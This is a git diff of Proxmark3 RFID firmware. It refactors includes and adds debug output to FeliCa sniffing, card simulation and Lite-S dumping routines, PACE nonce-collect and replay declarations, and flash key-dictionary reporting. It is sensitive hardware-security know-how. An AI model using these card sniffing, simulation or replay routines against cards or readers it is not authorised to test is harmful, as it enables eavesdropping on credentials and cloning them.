= EPA_APDU(apdus_replay[i].data, apdu_lengths_replay[i], response_apdu); timings[i] = GetCountUS(); // every step but the last one should succeed - if (i < sizeof(apdu_lengths_replay) - 1 + if (i < ARRAYLEN(apdu_lengths_replay) - 1 && (func_return < 6 || response_apdu[func_return - 4] != 0x90 || response_apdu[func_return - 3] != 0x00)) { diff --git a/armsrc/epa.h b/armsrc/epa.h index a0701ab57..66a95c059 100644 --- a/armsrc/epa.h +++ b/armsrc/epa.h @@ -11,9 +11,8 @@ #ifndef __EPA_H #define __EPA_H -#include "cmd.h" -#include "iso14443a.h" -#include "iso14443b.h" +#include "common.h" +#include "pm3_cmd.h" // this struct is used by EPA_Parse_CardAccess and contains info about the // PACE protocol supported by the chip @@ -23,8 +22,6 @@ typedef struct { uint8_t parameter_id; } pace_version_info_t; -// note: EPA_PACE_Collect_Nonce and EPA_PACE_Replay are declared in apps.h - // general functions void EPA_Finish(); size_t EPA_Parse_CardAccess(uint8_t *data, @@ -37,4 +34,7 @@ int EPA_Setup(); int EPA_PACE_MSE_Set_AT(pace_version_info_t pace_version_info, uint8_t password); int EPA_PACE_Get_Nonce(uint8_t requested_length, uint8_t *nonce); +void EPA_PACE_Collect_Nonce(PacketCommandNG *c); +void EPA_PACE_Replay(PacketCommandNG *c); + #endif /* __EPA_H */ diff --git a/armsrc/felica.c b/armsrc/felica.c index 48b6f4464..b1e0253a2 100644 --- a/armsrc/felica.c +++ b/armsrc/felica.c @@ -1,29 +1,32 @@ -#include "proxmark3.h" -#include "apps.h" +#include "felica.h" +#include "proxmark3_arm.h" #include "BigBuf.h" #include "util.h" -#include "usb_cdc.h" // for usb_poll_validate_length #include "protocols.h" -#include "crc16.h" // crc16 ccitt +#include "crc16.h" +#include "fpgaloader.h" +#include "string.h" +#include "commonutil.h" +#include "dbprint.h" +#include "ticks.h" +#include "mifare.h" // FeliCa timings -// minimum time between the start bits of consecutive transfers from reader to tag: 6800 carrier (13.56Mhz) cycles +// minimum time between the start bits of consecutive transfers from reader to tag: 6800 carrier (13.56MHz) cycles #ifndef FELICA_REQUEST_GUARD_TIME -# define FELICA_REQUEST_GUARD_TIME (6800/16 + 1) +# define FELICA_REQUEST_GUARD_TIME (6800/16 + 1) // 426 #endif // FRAME DELAY TIME 2672 carrier cycles #ifndef FELICA_FRAME_DELAY_TIME -# define FELICA_FRAME_DELAY_TIME (2672/16 + 1) +# define FELICA_FRAME_DELAY_TIME (2672/16 + 1) // 168 #endif #ifndef DELAY_AIR2ARM_AS_READER -#define DELAY_AIR2ARM_AS_READER (3 + 16 + 8 + 8*16 + 4*16 - 8*16) +#define DELAY_AIR2ARM_AS_READER (3 + 16 + 8 + 8*16 + 4*16 - 8*16) // 91 #endif #ifndef DELAY_ARM2AIR_AS_READER -#define DELAY_ARM2AIR_AS_READER (4*16 + 8*16 + 8 + 8 + 1) +#define DELAY_ARM2AIR_AS_READER (4*16 + 8*16 + 8 + 8 + 1) // 209 #endif - -// CRC skips two first sync bits in data buffer -#define AddCrc(data, len) compute_crc(CRC_FELICA, (data)+2, (len),(data)+(len)+2, (data)+(len)+3) +#define AddCrc(data, len) compute_crc(CRC_FELICA, (data), (len), (data)+(len)+1, (data)+(len)) static uint32_t felica_timeout; static uint32_t felica_nexttransfertime; @@ -106,7 +109,7 @@ static void shiftInByte(uint8_t bt) { static void Process18092Byte(uint8_t bt) { switch (FelicaFrame.state) { case STATE_UNSYNCD: { - //almost any nonzero byte can be start of SYNC. SYNC should be preceded by zeros, but that is not alsways the case + //almost any nonzero byte can be start of SYNC. SYNC should be preceded by zeros, but that is not always the case if (bt > 0) { FelicaFrame.shiftReg = reflect8(bt); FelicaFrame.state = STATE_TRYING_SYNC; @@ -170,13 +173,11 @@ static void Process18092Byte(uint8_t bt) { } case STATE_GET_CRC: { shiftInByte(bt); - if (FelicaFrame.rem_len <= 0) { + FelicaFrame.rem_len = 0; // skip sync 2bytes. IF ok, residue should be 0x0000 FelicaFrame.crc_ok = check_crc(CRC_FELICA, FelicaFrame.framebytes + 2, FelicaFrame.len - 2); FelicaFrame.state = STATE_FULL; - FelicaFrame.rem_len = 0; - if (DBGLEVEL > 3) Dbprintf("[+] got 2 crc bytes [%s]", (FelicaFrame.crc_ok) ? "OK" : "No"); } break; } @@ -189,6 +190,7 @@ static void Process18092Byte(uint8_t bt) { /* Perform FeliCa polling card * Currently does NOT do any collision handling. * It expects 0-1 cards in the device's range. + * return 0 if selection was successful */ static uint8_t felica_select_card(felica_card_select_t *card) { @@ -196,9 +198,9 @@ static uint8_t felica_select_card(felica_card_select_t *card) { // 0xB2 0x4B = sync code // 0x06 = len // 0x00 = rfu - // 0xff = system service - // 0xff = system service - // 0x00 = + // 0xff = system code service + // 0xff = system code service + // 0x00 = request code // b7 = automatic switching of data rate // b6-b2 = reserved // b1 = fc/32 (414kbps) @@ -206,7 +208,6 @@ static uint8_t felica_select_card(felica_card_select_t *card) { // 0x00 = timeslot // 0x09 0x21 = crc static uint8_t poll[10] = {0xb2, 0x4d, 0x06, FELICA_POLL_REQ, 0xFF, 0xFF, 0x00, 0x00, 0x09, 0x21}; - int len = 20; // We try 20 times, or if answer was received. @@ -217,7 +218,7 @@ static uint8_t felica_select_card(felica_card_select_t *card) { TransmitFor18092_AsReader(poll, sizeof(poll), NULL, 1, 0); // polling card, break if success - if (WaitForFelicaReply(512) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK) + if (WaitForFelicaReply(1024) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK) break; WDT_HIT(); @@ -225,17 +226,31 @@ static uint8_t felica_select_card(felica_card_select_t *card) { } while (--len); // timed-out - if (len == 0) + if (len == 0) { + if (DBGLEVEL >= DBG_DEBUG) + Dbprintf("Error: Time out card selection!"); return 1; + } // wrong answer - if (FelicaFrame.framebytes[3] != FELICA_POLL_ACK) + if (FelicaFrame.framebytes[3] != FELICA_POLL_ACK) { + if (DBGLEVEL >= DBG_DEBUG) + Dbprintf("Error: Wrong answer selecting card!"); return 2; + } // VALIDATE CRC residue is 0, hence if crc is a value it failed. - if (!check_crc(CRC_FELICA, FelicaFrame.framebytes + 2, FelicaFrame.len - 2)) + if (!check_crc(CRC_FELICA, FelicaFrame.framebytes + 2, FelicaFrame.len - 2)) { + if (DBGLEVEL >= DBG_DEBUG) { + Dbprintf("Error: CRC check failed!"); + Dbprintf("CRC check was done on Frame: "); + Dbhexdump(FelicaFrame.len - 2, FelicaFrame.framebytes + 2, 0); + } return 3; + } + if (DBGLEVEL >= DBG_DEBUG) + Dbprintf("Card selection successful!"); // copy UID // idm 8 if (card) { @@ -246,7 +261,10 @@ static uint8_t felica_select_card(felica_card_select_t *card) { memcpy(card->uid, card->IDm + 2, 6); memcpy(card->iccode, card->PMm, 2); memcpy(card->mrt, card->PMm + 2, 6); - + if (DBGLEVEL >= DBG_DEBUG) { + Dbprintf("Received Frame: "); + Dbhexdump(FelicaFrame.len, FelicaFrame.framebytes, 0); + } } // more status bytes? return 0; @@ -265,12 +283,12 @@ static uint8_t felica_select_card(felica_card_select_t *card) { // 8-byte IDm, number of blocks, blocks numbers // number of blocks limited to 4 for FelicaLite(S) static void BuildFliteRdblk(uint8_t *idm, int blocknum, uint16_t *blocks) { - if (blocknum > 4 || blocknum <= 0) Dbprintf("Invalid number of blocks, %d != 4", blocknum); uint8_t c = 0, i = 0; + // Sync bytes frameSpace[c++] = 0xb2; frameSpace[c++] = 0x4d; @@ -313,13 +331,12 @@ static void BuildFliteRdblk(uint8_t *idm, int blocknum, uint16_t *blocks) { //set length frameSpace[2] = c - 2; - AddCrc(frameSpace, c - 2); + //Add CRC + AddCrc(frameSpace + 2, c - 2); } static void TransmitFor18092_AsReader(uint8_t *frame, int len, uint32_t *timing, uint8_t power, uint8_t highspeed) { - - uint8_t flags = FPGA_MAJOR_MODE_ISO18092; - + uint8_t flags = FPGA_MAJOR_MODE_HF_ISO18092; if (power) flags |= FPGA_HF_ISO18092_FLAG_READER; if (highspeed) @@ -337,19 +354,20 @@ static void TransmitFor18092_AsReader(uint8_t *frame, int len, uint32_t *timing, // sending 0x00 0x00 0x00 0x00 0x00 0x00 uint16_t c = 0; while (c < 6) { - // keep tx buffer in a defined state anyway. if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { AT91C_BASE_SSC->SSC_THR = 0x00; c++; } } - // sending sync code - - // sending data + // sending data with sync bytes c = 0; - while (c < len) { + if (DBGLEVEL >= DBG_DEBUG) { + Dbprintf("Sending frame:"); + Dbhexdump(len, frame, 0); + } + while (c < len) { // Put byte into tx holding register as soon as it is ready if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { AT91C_BASE_SSC->SSC_THR = frame[c++]; @@ -381,12 +399,11 @@ static void TransmitFor18092_AsReader(uint8_t *frame, int len, uint32_t *timing, // stop when button is pressed // or return TRUE when command is captured bool WaitForFelicaReply(uint16_t maxbytes) { - + if (DBGLEVEL >= DBG_DEBUG) + Dbprintf("WaitForFelicaReply Start"); uint32_t c = 0; - // power, no modulation - FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD); - + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD); FelicaFrameReset(); // clear RXRDY: @@ -394,19 +411,15 @@ bool WaitForFelicaReply(uint16_t maxbytes) { (void)b; uint32_t timeout = iso18092_get_timeout(); + for (;;) { WDT_HIT(); - if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { b = (uint8_t)(AT91C_BASE_SSC->SSC_RHR); Process18092Byte(b); if (FelicaFrame.state == STATE_FULL) { - felica_nexttransfertime = - MAX( - felica_nexttransfertime, - (GetCountSspClk() & 0xfffffff8) - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER) / 16 + FELICA_FRAME_DELAY_TIME - ) - ; + felica_nexttransfertime = MAX(felica_nexttransfertime, + (GetCountSspClk() & 0xfffffff8) - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER) / 16 + FELICA_FRAME_DELAY_TIME); LogTrace( FelicaFrame.framebytes, @@ -416,22 +429,20 @@ bool WaitForFelicaReply(uint16_t maxbytes) { NULL, false ); + if (DBGLEVEL >= DBG_DEBUG) Dbprintf("All bytes received! STATE_FULL"); return true; } else if (c++ > timeout && FelicaFrame.state == STATE_UNSYNCD) { + if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Error: Timeout! STATE_UNSYNCD"); return false; - } else if (FelicaFrame.state == STATE_GET_CRC) { - Dbprintf(" Frame: "); - Dbhexdump(16, FelicaFrame.framebytes, 0); - //return false; } } } - return false; } // Set up FeliCa communication (similar to iso14443a_setup) // field is setup for "Sending as Reader" static void iso18092_setup(uint8_t fpga_minor_mode) { + if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Start iso18092_setup"); LEDsoff(); FpgaDownloadAndGo(FPGA_BITSTREAM_HF); @@ -441,7 +452,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) { BigBuf_Clear_ext(false); // Initialize Demod and Uart structs - //DemodInit(BigBuf_malloc(MAX_FRAME_SIZE)); + // DemodInit(BigBuf_malloc(MAX_FRAME_SIZE)); FelicaFrameinit(BigBuf_malloc(FELICA_MAX_FRAME_SIZE)); felica_nexttransfertime = 2 * DELAY_ARM2AIR_AS_READER; @@ -459,7 +470,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) { AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); // Signal field is on with the appropriate LED - FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | fpga_minor_mode); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | fpga_minor_mode); //20.4 ms generate field, start sending polling command afterwars. SpinDelay(100); @@ -469,6 +480,14 @@ static void iso18092_setup(uint8_t fpga_minor_mode) { LED_D_ON(); } + +void felica_reset_frame_mode() { + switch_off(); + //Resetting Frame mode (First set in fpgaloader.c) + AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); +} + + //----------------------------------------------------------------------------- // RAW FeliCa commands. Send out commands and store answers. //----------------------------------------------------------------------------- @@ -476,8 +495,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) { // arg1 len of commandbytes // d.asBytes command bytes to send void felica_sendraw(PacketCommandNG *c) { - - if (DBGLEVEL > 3) Dbprintf("FeliCa_sendraw Enter"); + if (DBGLEVEL >= DBG_DEBUG) Dbprintf("FeliCa_sendraw Enter"); felica_command_t param = c->oldarg[0]; size_t len = c->oldarg[1] & 0xffff; @@ -487,21 +505,26 @@ void felica_sendraw(PacketCommandNG *c) { felica_card_select_t card; if ((param & FELICA_CONNECT)) - clear_trace(); + if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Clear trace"); + clear_trace(); set_tracing(true); + iso18092_setup(FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD); if ((param & FELICA_CONNECT)) { - iso18092_setup(FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD); - // notify client selecting status. // if failed selecting, turn off antenna and quite. if (!(param & FELICA_NO_SELECT)) { arg0 = felica_select_card(&card); - reply_old(CMD_ACK, arg0, sizeof(card.uid), 0, &card, sizeof(felica_card_select_t)); - if (arg0 > 0) - goto OUT; + reply_mix(CMD_ACK, arg0, sizeof(card.uid), 0, &card, sizeof(felica_card_select_t)); + if (arg0 > 0) { + if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Error: Failed selecting card! "); + felica_reset_frame_mode(); + return; + } } + } else { + if (DBGLEVEL >= DBG_DEBUG) Dbprintf("No card selection"); } if ((param & FELICA_RAW)) { @@ -522,88 +545,84 @@ void felica_sendraw(PacketCommandNG *c) { AddCrc(buf, len); } } - + if (DBGLEVEL >= DBG_DEBUG) { + Dbprintf("Transmit Frame (no CRC shown):"); + Dbhexdump(len, buf, 0); + Dbprintf("Buffer Length: %i", buf[2] + 4); + }; TransmitFor18092_AsReader(buf, buf[2] + 4, NULL, 1, 0); - arg0 = !WaitForFelicaReply(1024); - reply_old(CMD_ACK, arg0, 0, 0, FelicaFrame.framebytes + 2, FelicaFrame.len - 2); + arg0 = WaitForFelicaReply(1024); + if (DBGLEVEL >= DBG_DEBUG) { + Dbprintf("Received Frame Code: %d", arg0); + Dbhexdump(FelicaFrame.len, FelicaFrame.framebytes, 0); + }; + + uint32_t result = reply_mix(CMD_ACK, FelicaFrame.len, arg0, 0, FelicaFrame.framebytes, FelicaFrame.len); + if (result) { + Dbprintf("Reply to Client Error Code: %i", result); + } } - - if ((param & FELICA_NO_DISCONNECT)) - return; - -OUT: - switch_off(); - - //Resetting Frame mode (First set in fpgaloader.c) - AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); - - if (DBGLEVEL > 3) Dbprintf("FeliCa_sendraw Exit"); + if ((param & FELICA_NO_DISCONNECT)) { + Dbprintf("Disconnect"); + } + if (DBGLEVEL >= DBG_DEBUG) + Dbprintf("FeliCa_sendraw Exit"); + felica_reset_frame_mode(); + return; } void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip) { - int remFrames = (samplesToSkip) ? samplesToSkip : 0; - - Dbprintf("Sniff FelicaLiteS: Getting first %d frames, Skipping %d triggers.\n", samplesToSkip, triggersToSkip); - + Dbprintf("Sniff Felica: Getting first %d frames, Skipping after %d triggers.\n", samplesToSkip, triggersToSkip); + clear_trace(); + set_tracing(true); iso18092_setup(FPGA_HF_ISO18092_FLAG_NOMOD); - - //the frame bits are slow enough. - int n = BigBuf_max_traceLen() / sizeof(uint8_t); // take all memory - int numbts = 0; - uint8_t *dest = (uint8_t *)BigBuf_get_addr(); - uint8_t *destend = dest + n - 2; - - uint32_t endframe = GetCountSspClk(); - - while (dest <= destend) { + LED_D_ON(); + uint16_t numbts = 0; + int trigger_cnt = 0; + uint32_t timeout = iso18092_get_timeout(); + bool isReaderFrame = true; + while (!BUTTON_PRESS()) { WDT_HIT(); - if (BUTTON_PRESS()) break; - if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { uint8_t dist = (uint8_t)(AT91C_BASE_SSC->SSC_RHR); Process18092Byte(dist); - - //to be sure we are in frame - if (FelicaFrame.state == STATE_GET_LENGTH) { - //length is after 48 (PRE)+16 (SYNC) - 64 ticks +maybe offset? not 100% - uint16_t distance = GetCountSspClk() - endframe - 64 + (FelicaFrame.byte_offset > 0 ? (8 - FelicaFrame.byte_offset) : 0); - *dest = distance >> 8; - dest++; - *dest = (distance & 0xff); - dest++; + if ((dist >= 178) && (++trigger_cnt > triggersToSkip)) { + Dbprintf("triggersToSkip kicked %d", dist); + break; } - //crc NOT checked if (FelicaFrame.state == STATE_FULL) { - endframe = GetCountSspClk(); - //*dest = FelicaFrame.crc_ok; //kind of wasteful - dest++; - for (int i = 0; i < FelicaFrame.len; i++) { - *dest = FelicaFrame.framebytes[i]; - dest++; - if (dest >= destend) break; - + if ((FelicaFrame.framebytes[3] % 2) == 0) { + isReaderFrame = true; // All Reader Frames are even and all Tag frames are odd + } else { + isReaderFrame = false; } - remFrames--; - if (remFrames <= 0) break; - if (dest >= destend) break; - + if (remFrames <= 0) { + Dbprintf("Stop Sniffing - samplesToSkip reached!"); + break; + } + LogTrace(FelicaFrame.framebytes, + FelicaFrame.len, + ((GetCountSspClk() & 0xfffffff8) << 4) - DELAY_AIR2ARM_AS_READER - timeout, + ((GetCountSspClk() & 0xfffffff8) << 4) - DELAY_AIR2ARM_AS_READER, + NULL, + isReaderFrame + ); numbts += FelicaFrame.len; - FelicaFrameReset(); } } } - switch_off(); - //reset framing AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); set_tracelen(numbts); + set_tracelen(BigBuf_max_traceLen()); Dbprintf("Felica sniffing done, tracelen: %i, use hf list felica for annotations", BigBuf_get_traceLen()); reply_old(CMD_ACK, 1, numbts, 0, 0, 0); + LED_D_OFF(); } #define R_POLL0_LEN 0x16 @@ -700,7 +719,7 @@ void felica_sim_lite(uint64_t uid) { TransmitFor18092_AsReader(curresp, curlen, NULL, 0, 0); //switch back - FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | FPGA_HF_ISO18092_FLAG_NOMOD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | FPGA_HF_ISO18092_FLAG_NOMOD); FelicaFrameReset(); listenmode = true; @@ -717,8 +736,9 @@ void felica_sim_lite(uint64_t uid) { DbpString("Felica Lite-S sim end"); } -void felica_dump_lite_s() { +#define RES_SVC_LEN 11 + 3 +void felica_dump_lite_s() { uint8_t ndef[8]; uint8_t poll[10] = { 0xb2, 0x4d, 0x06, FELICA_POLL_REQ, 0xff, 0xff, 0x00, 0x00, 0x09, 0x21}; uint16_t liteblks[28] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x90, 0x91, 0x92, 0xa0}; @@ -732,28 +752,26 @@ void felica_dump_lite_s() { uint8_t *dest = BigBuf_get_addr(); while (!BUTTON_PRESS() && !data_available()) { - WDT_HIT(); - // polling? //TransmitFor18092_AsReader(poll, 10, GetCountSspClk()+512, 1, 0); TransmitFor18092_AsReader(poll, 10, NULL, 1, 0); if (WaitForFelicaReply(512) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK) { - // copy 8bytes to ndef. memcpy(ndef, FelicaFrame.framebytes + 4, 8); // for (c=0; c < 8; c++) // ndef[c] = FelicaFrame.framebytes[c+4]; - for (blknum = 0; blknum < sizeof(liteblks);) { - + for (blknum = 0; blknum < ARRAYLEN(liteblks);) { // block to read. BuildFliteRdblk(ndef, 1, &liteblks[blknum]); //TransmitFor18092_AsReader(frameSpace, frameSpace[2]+4, GetCountSspClk()+512, 1, 0); - TransmitFor18092_AsReader(frameSpace, frameSpace[2] + 4, NULL, 1, 0); + + + TransmitFor18092_AsReader(frameSpace, frameSpace[2] + 4, NULL, 1, 0); // read block if (WaitForFelicaReply(1024) && FelicaFrame.framebytes[3] == FELICA_RDBLK_ACK) { @@ -782,11 +800,11 @@ void felica_dump_lite_s() { } } } + isOK = true; break; } } - switch_off(); //Resetting Frame mode (First set in fpgaloader.c) diff --git a/armsrc/Standalone/lf_proxbrute.h b/armsrc/felica.h similarity index 52% rename from armsrc/Standalone/lf_proxbrute.h rename to armsrc/felica.h index 3a9e1ce29..ef34dc108 100644 --- a/armsrc/Standalone/lf_proxbrute.h +++ b/armsrc/felica.h @@ -1,21 +1,22 @@ //----------------------------------------------------------------------------- -// Samy Kamkar, 2011, 2012 -// Brad antoniewicz 2011 -// Christian Herrmann, 2017 +// Jonathan Westhues, Aug 2005 +// Gerhard de Koning Gans, April 2008, May 2011 // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of // the license. //----------------------------------------------------------------------------- -// StandAlone Mod +// Definitions internal to the app source. //----------------------------------------------------------------------------- +#ifndef __FELICA_H +#define __FELICA_H -#ifndef __LF_PROXBRUTE_H -#define __LF_PROXBRUTE_H +#include "common.h" +#include "cmd.h" -#include "standalone.h" // standalone definitions -#include "apps.h" // debugstatements, lfops? +void felica_sendraw(PacketCommandNG *c); +void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip); +void felica_sim_lite(uint64_t uid); +void felica_dump_lite_s(); -#define OPTS 2 - -#endif /* __LF_PROXBRUTE_H */ +#endif diff --git a/armsrc/flashmem.c b/armsrc/flashmem.c index 4584d41b2..fb69dee01 100644 --- a/armsrc/flashmem.c +++ b/armsrc/flashmem.c @@ -1,4 +1,10 @@ #include "flashmem.h" +#include "pmflash.h" + +#include "proxmark3_arm.h" +#include "ticks.h" +#include "dbprint.h" +#include "string.h" /* here: use NCPS2 @ PA10: */ #define SPI_CSR_NUM 2 @@ -15,7 +21,7 @@ uint32_t FLASHMEM_SPIBAUDRATE = FLASH_BAUD; void FlashmemSetSpiBaudrate(uint32_t baudrate) { FLASHMEM_SPIBAUDRATE = baudrate; - Dbprintf("Spi Baudrate : %dMhz", FLASHMEM_SPIBAUDRATE / 1000000); + Dbprintf("Spi Baudrate : %dMHz", FLASHMEM_SPIBAUDRATE / 1000000); } // initialize @@ -553,6 +559,7 @@ void Flashmem_print_status(void) { } void Flashmem_print_info(void) { + if (!FlashInit()) return; DbpString(_BLUE_("Flash memory dictionary loaded")); @@ -561,25 +568,28 @@ void Flashmem_print_info(void) { uint8_t keysum[2]; uint16_t num; + Flash_CheckBusy(BUSY_TIMEOUT); uint16_t isok = Flash_ReadDataCont(DEFAULT_MF_KEYS_OFFSET, keysum, 2); if (isok == 2) { num = ((keysum[1] << 8) | keysum[0]); if (num != 0xFFFF && num != 0x0) - Dbprintf(" Mifare................"_YELLOW_("%d")"keys", num); + Dbprintf(" Mifare.................."_YELLOW_("%d")"keys", num); } + Flash_CheckBusy(BUSY_TIMEOUT); isok = Flash_ReadDataCont(DEFAULT_T55XX_KEYS_OFFSET, keysum, 2); if (isok == 2) { num = ((keysum[1] << 8) | keysum[0]); if (num != 0xFFFF && num != 0x0) - Dbprintf(" T55x7................."_YELLOW_("%d")"keys", num); + Dbprintf(" T55x7..................."_YELLOW_("%d")"keys", num); } + Flash_CheckBusy(BUSY_TIMEOUT); isok = Flash_ReadDataCont(DEFAULT_ICLASS_KEYS_OFFSET, keysum, 2); if (isok == 2) { num = ((keysum[1] << 8) | keysum[0]); if (num != 0xFFFF && num != 0x0) - Dbprintf(" iClass................"_YELLOW_("%d")"keys", num); + Dbprintf(" iClass.................."_YELLOW_("%d")"keys", num); } FlashStop(); diff --git a/armsrc/flashmem.h b/armsrc/flashmem.h index 4016e66bd..42fc3d2f0 100644 --- a/armsrc/flashmem.h +++ b/armsrc/flashmem.h @@ -28,9 +28,7 @@ #ifndef __FLASHMEM_H #define __FLASHMEM_H -#include "proxmark3.h" -#include "apps.h" -#include "ticks.h" +#include "common.h" // Used Command #define ID 0x90 @@ -62,7 +60,7 @@ #define RESUME 0x7A // Flash busy timeout: 20ms is the strict minimum when writing 256kb -#define BUSY_TIMEOUT 50000L +#define BUSY_TIMEOUT 200000L #define WINBOND_MANID 0xEF #define WINBOND_DEVID 0x11 @@ -102,7 +100,6 @@ #define MAX_BLOCKS 4 #define MAX_SECTORS 16 -#define MCK 48000000 //#define FLASH_BAUD 24000000 #define FLASH_MINFAST 24000000 //33000000 #define FLASH_BAUD MCK/2 @@ -112,7 +109,6 @@ #define FASTFLASH (FLASHMEM_SPIBAUDRATE > FLASH_MINFAST) //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// -void Dbprintf(const char *fmt, ...); void FlashmemSetSpiBaudrate(uint32_t baudrate); bool FlashInit(); @@ -142,5 +138,6 @@ uint16_t Flash_WriteData(uint32_t address, uint8_t *in, uint16_t len); uint16_t Flash_WriteDataCont(uint32_t address, uint8_t *in, uint16_t len); void Flashmem_print_status(void); void Flashmem_print_info(void); +uint16_t FlashSendLastByte(uint32_t data); #endif diff --git a/armsrc/fonts.c b/armsrc/fonts_disabled.c similarity index 99% rename from armsrc/fonts.c rename to armsrc/fonts_disabled.c index 78b96e238..45a85e679 100644 --- a/armsrc/fonts.c +++ b/armsrc/fonts_disabled.c @@ -6,6 +6,8 @@ // Fonts for the LCD //----------------------------------------------------------------------------- +#include "fonts_disabled.h" + const char FONT6x8[97][8] = { {0x06, 0x08, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00}, // columns, rows, bytes per char {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // space diff --git a/armsrc/fonts.h b/armsrc/fonts_disabled.h similarity index 100% rename from armsrc/fonts.h rename to armsrc/fonts_disabled.h diff --git a/armsrc/fpgaloader.c b/armsrc/fpgaloader.c index 7e920a360..a5ca3f6d1 100644 --- a/armsrc/fpgaloader.c +++ b/armsrc/fpgaloader.c @@ -11,6 +11,15 @@ //----------------------------------------------------------------------------- #include "fpgaloader.h" +#include "proxmark3_arm.h" +#include "appmain.h" +#include "BigBuf.h" +#include "ticks.h" +#include "dbprint.h" +#include "util.h" +#include "zlib.h" +#include "fpga.h" +#include "string.h" // remember which version of the bitstream we have already downloaded to the FPGA static int downloaded_bitstream = 0; @@ -81,7 +90,7 @@ void SetupSpi(int mode) { AT91C_BASE_SPI->SPI_CSR[0] = (1 << 24) | // Delay between Consecutive Transfers (32 MCK periods) (1 << 16) | // Delay Before SPCK (1 MCK period) - (6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24Mhz/6 = 4M baud + (6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24MHz/6 = 4M baud AT91C_SPI_BITS_16 | // Bits per Transfer (16 bits) (0 << 3) | // Chip Select inactive after transfer AT91C_SPI_NCPHA | // Clock Phase data captured on leading edge, changes on following edge @@ -101,7 +110,7 @@ void SetupSpi(int mode) { AT91C_BASE_SPI->SPI_CSR[2] = ( 1 << 24) | // Delay between Consecutive Transfers (32 MCK periods) ( 1 << 16) | // Delay Before SPCK (1 MCK period) - ( 6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24Mhz/6 = 4M baud + ( 6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24MHz/6 = 4M baud AT91C_SPI_BITS_9 | // Bits per Transfer (9 bits) ( 0 << 3) | // Chip Select inactive after transfer ( 1 << 1) | // Clock Phase data captured on leading edge, changes on following edge @@ -115,8 +124,8 @@ void SetupSpi(int mode) { } //----------------------------------------------------------------------------- -// Set up the synchronous serial port, with the one set of options that we -// always use when we are talking to the FPGA. Both RX and TX are enabled. +// Set up the synchronous serial port with the set of options that fits +// the FPGA mode. Both RX and TX are always enabled. //----------------------------------------------------------------------------- void FpgaSetupSsc(void) { // First configure the GPIOs, and get ourselves a clock. @@ -132,16 +141,16 @@ void FpgaSetupSsc(void) { // Now set up the SSC proper, starting from a known state. AT91C_BASE_SSC->SSC_CR = AT91C_SSC_SWRST; - // RX clock comes from TX clock, RX starts when TX starts, data changes - // on RX clock rising edge, sampled on falling edge + // RX clock comes from TX clock, RX starts on Transmit Start, + // data and frame signal is sampled on falling edge of RK AT91C_BASE_SSC->SSC_RCMR = SSC_CLOCK_MODE_SELECT(1) | SSC_CLOCK_MODE_START(1); // 8 bits per transfer, no loopback, MSB first, 1 transfer per sync // pulse, no output sync AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); - // clock comes from TK pin, no clock output, outputs change on falling - // edge of TK, sample on rising edge of TK, start on positive-going edge of sync + // TX clock comes from TK pin, no clock output, outputs change on falling + // edge of TK, frame sync is sampled on rising edge of TK, start TX on rising edge of TF AT91C_BASE_SSC->SSC_TCMR = SSC_CLOCK_MODE_SELECT(2) | 